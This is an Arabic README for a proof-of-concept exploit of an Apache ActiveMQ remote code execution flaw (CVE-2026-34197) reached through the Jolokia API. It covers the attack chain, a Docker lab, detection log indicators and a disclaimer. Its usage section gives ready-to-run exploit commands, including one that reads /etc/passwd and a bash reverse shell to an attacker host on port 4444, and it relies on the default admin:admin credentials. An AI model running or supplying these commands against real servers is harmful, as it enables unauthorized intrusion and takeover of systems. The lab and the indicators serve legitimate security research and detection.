
إثبات مفهوم لاستغلال CVE-2026-34197، وهو ثغرة تنفيذ أوامر عن بُعد (RCE) في Apache ActiveMQ عبر واجهة Jolokia API. يتضمن استغلالًا بلغة Python، وقالب حمولة، ومختبر Docker للاختبار والبحث.
CVE-2026-34197 هي ثغرة تنفيذ أوامر عن بُعد (RCE) في Apache ActiveMQ Classic تسمح للمهاجم بتنفيذ أوامر عشوائية على نظام تشغيل الخادم عبر واجهة Jolokia API المكشوفة في وحدة التحكم الويب.
الضعف موجود منذ أكثر من 13 عامًا ويقع في التفاعل بين مكونات متعددة: Jolokia (جسر HTTP-JMX)، وMBeans الخاصة بـ ActiveMQ، وموصلات الشبكة، ونقل VM.
| الحقل | التفاصيل |
|---|
| CVE ID | CVE-2026-34197 |
| النوع | RCE (تنفيذ أوامر عن بُعد) |
| CWE | CWE-20 (تحقق غير صحيح من الإدخال)، CWE-94 (حقن الكود) |
| الإصدارات المتأثرة | ActiveMQ Classic < 5.19.4، 6.0.0 — 6.2.2 |
| الإصدارات المُصححة | 5.19.4، 6.2.3 |
| المصادقة المطلوبة | نعم (بيانات الاعتماد الافتراضية admin:admin شائعة) |
| بدون مصادقة في | 6.0.0 — 6.1.1 (بسبب CVE-2024-32114) |
| المنفذ الافتراضي | 8161 (وحدة التحكم الويب) |
سلسلة الهجوم تعمل كالتالي:
/api/jolokia/ مستدعيًا عملية addNetworkConnector الخاصة بـ MBean الخاص بالوسيط (broker).vm:// يشير إلى وسيط غير موجود.brokerConfig الذي يشير إلى عنوان URL بعيد.xbean: إلى أن المورد هو ملف تكوين Spring XML.Runtime.getRuntime().exec().المهاجم ActiveMQ (الضحية)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://ATACANTE/x.xml) |
| |
| |-- إنشاء وسيط VM
| |-- تنزيل x.xml
|<-- GET /x.xml --------------------|
|-- الرد بحمولة XML --------------->|
| |-- Spring ينشئ الـ beans
| |-- Runtime.exec(الأمر)
| |
CVE-2026-34197/
├── README.md # هذا الملف
├── exploit.py # الـ PoC الرئيسي
├── payloads/
│ └── template.xml # قالب حمولة Spring XML
├── docker/
│ └── docker-compose.yml # بيئة مختبرية قابلة للاستغلال
└── LICENSE
requests, http.server, argparse (مكتبة قياسية)pip install requests
cd docker
docker-compose up -d
هذا يشغّل ActiveMQ Classic 5.18.6 قابل للاستغلال على localhost:8161.
# الاستخدام الأساسي مع بيانات الاعتماد الافتراضية
python exploit.py -t http://الهدف:8161 -l IP_المهاجم -c "id"
# تحديد بيانات الاعتماد
python exploit.py -t http://الهدف:8161 -l IP_المهاجم -c "whoami" -u admin -p admin
# تحديد منفذ خادم HTTP للحمولة
python exploit.py -t http://الهدف:8161 -l IP_المهاجم -lp 9999 -c "cat /etc/passwd"
# وضع بدون مصادقة (ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://الهدف:8161 -l IP_المهاجم -c "id" --no-auth
# شل عكسي
python exploit.py -t http://الهدف:8161 -l IP_المهاجم -c "bash -i >& /dev/tcp/IP_المهاجم/4444 0>&1"
| المعامل | الوصف |
|---|---|
-t, --target | عنوان URL الأساسي للهدف (مثال: http://10.0.0.1:8161) |
-l, --lhost | عنوان IP للمهاجم لخدمة حمولة XML |
-lp, --lport | منفذ خادم HTTP المحلي (الافتراضي: 8888) |
-c, --command | الأمر المراد تنفيذه على الهدف |
-u, --user | اسم المستخدم (الافتراضي: admin) |
-p, --password | كلمة المرور (الافتراضية: admin) |
--no-auth | عدم إرسال بيانات الاعتماد (للإصدارات 6.0.0 - 6.1.1) |
--broker-name | اسم الوسيط (الافتراضي: localhost) |
مؤشرات في سجلات وسيط ActiveMQ:
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
مؤشرات أخرى:
/api/jolokia/ مع addNetworkConnector في الجسمvm:// مع brokerConfig=xbean:httpتم إنشاؤه بواسطة KONDOR DEV SECURITY
يتم توفير هذا الـ PoC حصريًا للأغراض التعليمية وبحوث الأمان. استخدام هذه الأداة ضد أنظمة دون إذن صريح غير قانوني. المؤلف غير مسؤول عن سوء استخدام هذه الأداة.
MIT — حقوق النشر (c) 2026 KONDOR DEV SECURITY